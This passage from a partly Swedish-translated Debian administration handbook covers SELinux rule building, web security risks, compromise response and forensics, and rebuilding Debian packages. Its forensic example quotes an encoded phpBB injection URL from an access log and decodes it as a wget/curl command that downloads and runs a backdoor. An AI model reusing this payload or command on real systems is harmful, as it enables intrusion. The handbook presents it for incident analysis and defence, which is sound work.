→ https://selinuxproject.org/page/ObjectClassesPerms

Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.

However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:

avc: denied { read write } for pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

To better understand this message, let us study it piece by piece.

Tabell 14.1. Analysis of an SELinux trace

Meddelande | Beskrivning
avc: denied | En operation har nekats.
{ read write } | Denna operation kräver läs och skriv behörigheter.
pid=1876 | Processen med PID 1876 utförde åtgärden (eller försökte utföra den).
comm="syslogd" | Denna Processen var en instans av syslogd programmet.
name="xconsole" | The target object was named xconsole. Sometimes you can also have a “path” variable — with the full path — instead.
dev=tmpfs | The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).
ino=5510 | Objektet identifieras med inodnumret 5510.
scontext=system_u:system_r:syslogd_t:s0 | Detta är säkerhetskontexten för den process som utförde åtgärden.
tcontext=system_u:object_r:device_t:s0 | Detta är säkerhetskontexten för målobjektet.
tclass=fifo_file | Målobjektet är en FIFO-fil.

By observing this log entry, it is possible to build a rule that would allow this operation. For example, allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it is exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial.

KOMPLEMENT Inga roller i policyregler

It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as Type Enforcement and the type is the only element that matters when granting rights.

14.5.4.4. Kompilering av filerna

Once the 3 files (example.if, example.fc, and example.te) match your expectations for the new rules, rename them to myapp.extension and run make NAME=devel to generate a module in the myapp.pp file (you can immediately load it with semodule -i myapp.pp). If several modules are defined, make will create all the corresponding .pp files.

14.6. Andra säkerhetsrelaterade överväganden

Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.

14.6.1. Inbyggda risker med webbapplikationer

The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (Linux, Apache, MySQL, PHP) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.

VOCABULÄR SQL-injektion

When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible.

→ https://en.wikipedia.org/wiki/SQL_Injection

Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a “script kiddy“) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement.

14.6.2. Veta vad man kan förvänta sig

A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.

SNABBKOLL Filtrering av HTTP-förfrågningar

Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.

Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.

mod-security2 (in the libapache2-mod-security2 package) is the main such module. It even comes with many ready-to-use rules of its own (in the modsecurity-crs package) that you can easily enable.

The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. “Script-kiddies“ only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines.

A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the www-data user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a wget command that will download some malware into /tmp/, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.

At this point, the attacker has enough freedom of movement that they often install an IRC bot (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The www-data account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.

VOCABULARY Privilege escalation

This term covers anything that can be used to obtain more permissions than a given user should normally have. The sudo program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.

Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a rootkit, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time (see also SNABBKOLL checksecurity och chkrootkit/rkhunter paketen); the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted ps program will omit to list some processes, netstat will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing sudo or ssh with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on.

Detta är ett mardrömsscenario som kan förebyggas genom flera åtgärder. I de följande avsnitten beskrivs några av dessa åtgärder.

14.6.3. Välja programvara på ett klokt sätt

Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit.

VOCABULÄR Säkerhetsgranskning

A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.

In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.

VOCABULÄR Nolldagars sårbarhet

A zero-day exploit attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.

14.6.4. Hantera en maskin som en helhet

Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.

By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.

Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).

14.6.5. Användare är spelare

Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.

The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.

SNABBTITTautolog

autolog paketet tillhandahåller ett program som automatiskt kopplar bort inaktiva användare efter en konfigurerbar fördröjning. Det tillåter också att döda användarprocesser som kvarstår efter att en session avslutats, och därmed förhindra att användare kör demoner.

14.6.6. Fysisk säkerhet

There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.

Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.

14.6.7. Juridiskt ansvar

An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.

An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.

When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.

14.7. Hantera en komprometterad maskin

Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.

14.7.1. Detecting and Seeing the Cracker's Intrusion

The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.

Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:

# ls -al /proc/3719/exe lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

Ett program installerat under /var/tmp/ och körs som webbserver? Ingen tvekan kvar, maskinen är komprometterad.

This is only one example, but many other hints can ring the administrator's bell:

an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to dpkg;

a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;

errors caused by the /tmp/ partition being full, which turned out to be full of illegal copies of movies;

och så vidare.

14.7.2. Att sätta servern offline

In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.

This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see Avsnitt 14.7.3, ”Behåll allt som kan användas som bevismaterial”, Avsnitt 14.7.5, ”Forensisk analys” and Avsnitt 14.7.6, ”Rekonstruera attackscenariot”), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.

14.7.3. Behåll allt som kan användas som bevismaterial

Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.

In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (netstat -tupan for network connections, ps auxf for a list of processes, ls -alR /proc/[0-9]* for a little more information on running programs), and every performed check should carefully be written down.

VARNING Het analys

While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!

If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.

Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running sync) and reboot it on a rescue CD. Each partition should be copied with a tool such as dd; these images can be sent to another server (possibly with the very convenient nc tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.

14.7.4. Installera om

The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly backdoors). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.

Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media.

14.7.5. Forensisk analys

Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the ro,nodev,noexec,noatime options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.

Att spåra ett attack scenario innebär vanligtvis att leta efter allt som har ändrats och utförts:

.bash_history-filerna är ofta mycket intressanta att läsa;

så även listning av filer som nyligen skapats, modifierats eller öppnats;

kommandot strings hjälper till att identifiera program installerade av angriparen, genom att extrahera textsträngar från en binär;

loggfilerna i /var/log/ gör det ofta möjligt att rekonstruera en kronologi över händelserna;

Specialverktyg gör det också möjligt att återställa innehållet i potentiellt raderade filer, inklusive loggfiler som angripare ofta raderar.

Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package). Some Linux distributions have a "live install" image and contain many programs for forensic analysis, such as Kali Linux (see Avsnitt A.8, ”Kali Linux”), with its forensic mode, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see Avsnitt A.6, ”Grml”).

→ https://blackarch.org

→ https://grml-forensic.org/

14.7.6. Rekonstruera attackscenariot

All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.

Följande logg är ett utdrag ur en Apache access.log:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

This example matches exploitation of an old security vulnerability in phpBB.

→ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Indeed, a bd file was found in /tmp/. Running strings /mnt/tmp/bd returns, among other strings, PsychoPhobia Backdoor is starting.... This really looks like a backdoor.

Some time later, this access was used to download, install and run an IRC bot that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202) ** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT ** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024 ** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating ** 2004-11-29-19:50:20: DCC CHAT Correct password (...) ** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB) (...) ** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB) (...) ** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec) (...) ** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

Dessa spår visar att två videofiler har lagrats på servern via IP-adressen 82.50.72.202.

In parallel, the attacker also downloaded a pair of extra files, /tmp/pt and /tmp/loginx. Running these files through strings leads to strings such as Shellcode placed at 0x%08lx and Now wait for suid shell.... These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.

In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.

Kapitel 15. Skapa ett Debian-paket

Det är ganska vanligt för en administratör som har hanterat Debian-paket på vanligt sätt att till slut känna behovet av att skapa sina egna paket, eller att modifier att existerande paket. Detta kapitel ämnar att besvara de vanligaste frågorna inom detta område, och tillhandahålla de element som krävs för att dra nytta av Debian-infrastrukturen på bästa möjliga sätt. Med lite tur, efter att ha provat på lokala paket, kan du till och med känna att du måste komma vidare och gå med i Debian-projektet i sig!

15.1. Bygg om ett paket från dess källkod

Att bygga om ett binärpaket krävs under flera olika omständigheter. I visa fall behöver administratören en programvarufunktion somkräver att programvaran kompileras från källkod, med en viss kompileringsflagga; i andra fall är programvara som paketerats och installerats av Debian inte uppdaterad. I det senare fallet kommer administratören vanligtvis bygga paketet från en senare version av Debian — så som Testing eller till och med Unstable — så att detta nya paket fungerar i deras distribution Stable; denna åtgärd kallas ”bakportering”. Som vanligt ska man innan åtar sig en sådan uppgift kontrollera om det redan har gjorts — en snabb kontroll av i Debian Package Tracker för det paketet kan avslöja den informationen.

→ https://tracker.debian.org/

15.1.1. Hämta källkoden

Rebuilding a Debian package starts with getting its source code. The easiest way is to use the apt-get source package-name command. This command requires a deb-src line in the /etc/apt/sources.list file, and up-to-date index files (i.e. apt-get update). These conditions should already be met if you followed the instructions from the chapter dealing with APT configuration (see Avsnitt 6.1, ”Att fylla i filen sources.list”). Note, however, that you will be downloading the source packages from the Debian version mentioned in the deb-src line.

If you need another version, you may need to download it manually from a Debian mirror or from the web site. This involves fetching two or three files (with extensions *.dsc — for Debian Source Control — *.tar.comp, and sometimes *.diff.gz or *.debian.tar.comp — comp taking one value among gz, bz2 or xz depending on the compression tool in use), then run the dpkg-source -x file.dsc command. If the *.dsc file is directly accessible at a given URL, there is an even simpler way to fetch it all, with the dget URL command. This command (which can be found in the devscripts package) fetches the *.dsc file at the given address, then analyzes its contents, and automatically fetches the file or files referenced within. Once everything has been downloaded, it verifies the integrity of the downloaded source packages using dscverify, and it extracts the source package (unless the -d or --download-only option is used). The Debian keyring is needed, unless the option -u is supplied.

15.1.2. Att göra ändringar

Låt oss använda samba paketet som exempel.

$ apt source samba Reading package lists... Done NOTICE: 'samba' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/samba-team/samba.git Please use: git clone https://salsa.debian.org/samba-team/samba.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 12.3 MB of source archives. Get:1 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (dsc) [4,514 B] Get:2 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (tar) [11.8 MB] Get:3 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (diff) [468 kB] Fetched 12.3 MB in 3s (4,582 kB/s) dpkg-source: info: extracting samba in samba-4.13.13+dfsg dpkg-source: info: unpacking samba_4.13.13+dfsg.orig.tar.xz dpkg-source: info: unpacking samba_4.13.13+dfsg-1~deb11u3.debian.tar.xz dpkg-source: info: using patch list from debian/patches/series dpkg-source: info: applying 07_private_lib dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch dpkg-source: info: applying [...]

The source of the package is now available in a directory named after the source package and its version (samba-4.13.13+dfsg); this is where we'll work on our local changes.

The first thing to do is to change the package version number, so that the rebuilt packages can be distinguished from the original packages provided by Debian. Assuming the current version is 2:4.13.13+dfsg-1~deb11u3, we can create version 2:4.13.13+dfsg-1~deb11u3+falcot1, which clearly indicates the origin of the package. This makes the package version number higher than the one provided by Debian, so that the package will easily install as an update to the original package. Such a change is best effected with the dch command (Debian CHangelog) from the devscripts package.

$ cd 4.13.13+dfsg-1~deb11u3 $ dch --local +falcot

The last command invokes a text editor (sensible-editor — this should be your favorite editor if it is mentioned in the VISUAL or EDITOR environment variables, and the default editor otherwise) to allow documenting the differences brought by this rebuild. This editor shows us that dch really did change the debian/changelog file.

When a change in build options is required, the changes need to be made in debian/rules, which drives the steps in the package build process. In the simplest cases, the lines concerning the initial configuration (./configure …) or the actual build ($(MAKE) … or make … or cmake … or …) are easy to spot. If these commands are not explicitly called, they are probably a side effect of another explicit command, in which case please refer to their documentation to learn more about how to change the default behavior. With packages using dh, you might need to add an override for the dh_auto_configure or dh_auto_build commands (see their respective manual pages and debhelper(7) for explanations on how to achieve this).

Beroende på de lokala ändringarna till paketen kan en uppdatering också krävas i filen debian/control, vilken innehåller en beskrivning av de genererade paketen. I synnerhet innehåller denna filen Build-Depends-rade som styr listan av beroenden som måste vara uppfyllda då paketet byggs. Dessa refererar ofta till versioner av paket som finns i distributionen som källkodspaketet kommer från men som kanske inte finns tillgängliga i distributionen som används för ombygget. Det finns inget automatiserat sätt att avgöra om ett beroenden är korrekt eller endast angivet för att garantera att man endast ska försöka sig på bygget med den senaste versionen av ett bibliotek — detta är det enda tillgängliga sättett att tvinga en autobyggare att använda en given paketversion under bygget, vilket är anledningen till att Debian-utvecklarna ofta använda strikt versionerade byggberoenden.

Om du är säker på att dessa byggberoenden är allt för strikta kan du känna dig fri att lösa upp dem lokalt. Att läsa filerna som dokumenterar standardsättet att bygga programvara — dessa filer kallas ofta INSTALL — kommer att hjälpa dig att lista ut lämpliga beroenden. I idealfallet borde alla beroenden kunna gå att tillfredställa från distributionen som används för ombygget; om inte inleds en rekursiv process där paket som nämns i fältet Build-Depends måste bakporteras innan målpaketet kan bakporteras. Vissa paket kanske inte kräver bakportering och kan installeras som de är under byggprocessen (ett exempel är debhelper). Notera att bakporteringsprocessen snabbt kan bli komplex om du inte är försiktig. Därför bör man försöka sig på bakportering endat då det är nödvändigt.

TIPS Installera Build-Depends

apt-get allows installing all packages mentioned in the Build-Depends fields of a source package available in a distribution mentioned in a deb-src line of the /etc/apt/sources.list file. This is a simple matter of running the apt-get build-dep package command.

15.1.3. Starta ombyggnaden

When all the needed changes have been applied to the sources, we can start generating the actual binary package (.deb file). The whole process is managed by the dpkg-buildpackage command.

Exempel 15.1. Rebuilding a package

$ dpkg-buildpackage -us -uc [...]

The previous command can fail if the Build-Depends field has not been updated, or if the related packages are not installed. In such a case, it is possible to overrule this check by passing the -d option to dpkg-buildpackage. However, explicitly ignoring these dependencies runs the risk of the build process failing at a later stage. Worse, the package may seem to build correctly but fail to run properly: some programs automatically disable some of their features when a required library is not available at build time. The switch can still be very useful if you only want to create a source package, which is supposed to be passed to clean build environments as described in QUICK LOOK Building packages in chrooted and virtual environments.

The other options used in the above example make sure that neither the source package's .dsc (-us) nor the produced .changes file (-uc) get signed with the package builder's cryptographic key after the asuccessful build.

VERKTYG fakeroot

In essence, the package creation process is a simple matter of gathering in an archive a set of existing (or built) files; most of the files will end up being owned by root in the archive. However, building the whole package under this user would imply increased risks; fortunately, this can be avoided with the fakeroot command. This tool can be used to run a program and give it the impression that it runs as root and creates files with arbitrary ownership and permissions. When the program creates the archive that will become the Debian package, it is tricked into creating an archive containing files marked as belonging to arbitrary owners, including root. This setup is so convenient that dpkg-buildpackage uses fakeroot by default when building packages.

Note that the program is only tricked into “believing” that it operates as a privileged account, and the process actually runs as the user running fakeroot program (and the files are actually created with that user's permissions). At no time does it actually get root privileges that it could abuse.

More often than not, Debian developers use a higher-level program such as debuild; this runs dpkg-buildpackage as usual, but it also adds an invocation of a program that runs many checks to validate the generated package against the Debian policy. This script also cleans up the environment so that local environment variables do not “pollute” the package build. The debuild command is one of the tools in the devscripts suite, which share some consistency and configuration to make the maintainers' task easier.

QUICK LOOK Building packages in chrooted and virtual environments

Building a package on an existing system, like a workstation or server, can pose several problems. Maybe the system has packages installed, that conflict with the build requirements. Or maybe it has packages (libraries, headers, etc.) installed, that the project to build is not supposed to use - e.g. from Testing, Unstable, or even from third parties. Also it might have packages installed, which are actually required for the build, but are not listed in debian/control. It is therefore a good practice to build a packages in “clean“ environments.

The sbuild, pbuilder, or cowbuilder programs (in the similarly named packages) allow building a Debian package in a chrooted environment. Each of them first creates a temporary directory containing the minimal system required for building the package (including the packages mentioned in the Build-Depends field). This directory is then used as the root directory (/), using the chroot command, during the build process.

These tools allow the build process to happen in an environment that is not altered by users' manipulations. This also allows for quick detection of the missing build-dependencies (since the build will fail unless the appropriate dependencies are documented). Finally, it allows building a package for a Debian version that is not the one used by the system as a whole: the machine can be using Stable for its normal workload, and the chrooted environments can be running on the same machine using Unstable for package builds. Using these tools, it is also possible to build for a different distribution, like Ubuntu.

schroot, sbuild-shell, or pbuilder allow running a command or a login shell in a chrooted environment.

Sometimes it is not enough to build a package in a chrooted environment. This can be due to building for a different architecture where cross-compilation does not work, or due to the tools not being able to create a chrooted environment for the desired target system. Then one can create virtual machines to build the package there. These setups are usually more complex then the tools mentioned above, and rarely needed, so we will only mention this possibility without going into much detail. Check out Avsnitt 12.2, ”Virtualisering” for an introduction into this topic.

15.2. Bygg ditt första paket

15.2.1. Meta-paket eller falska paket

Fake packages and meta-packages are similar, in that they are empty shells that only exist for the effects their meta-data have on the package handling stack.

The purpose of a fake package is to trick dpkg and apt into believing that some package is installed even though it is only an empty shell. This allows satisfying dependencies on a package when the corresponding software was installed outside the scope of the packaging system. Such a method works, but it should still be avoided whenever possible, since there is no guarantee that the manually installed software behaves exactly like the corresponding package would and other packages depending on it would not work properly.

On the other hand, a meta-package exists mostly as a collection of dependencies, so that installing the meta-package will actually bring in a set of other packages in a single step.

Both these kinds of packages can be created by the equivs-control and equivs-build commands (in the equivs package). The equivs-control file command creates a Debian package header file that should be edited to contain the name of the expected package, its version number, the name of the maintainer, its dependencies, and its description. Other fields without a default value are optional and can be deleted. The Copyright, Changelog, Readme and Extra-Files fields are not standard fields in Debian packages; they only make sense within the scope of equivs-build, and they will not be kept in the headers of the generated package.

Exempel 15.2. Header file of the libxml-libxml-perl fake package

Section: perl Priority: optional Standards-Version: 4.5.1 Package: libxml-libxml-perl Version: 2.0207-1 Maintainer: Raphael Hertzog <hertzog@debian.org> Depends: libxml2 (>= 2.9.10) Architecture: all Description: Fake package - module manually installed in site_perl This is a fake package to let the packaging system believe that this Debian package is installed. . In fact, the package is not installed since a newer version of the module has been manually compiled &amp; installed in the site_perl directory.

The next step is to generate the Debian package with the equivs-build file command. Voilà: the package is created in the current directory and it can be handled like any other Debian package would.

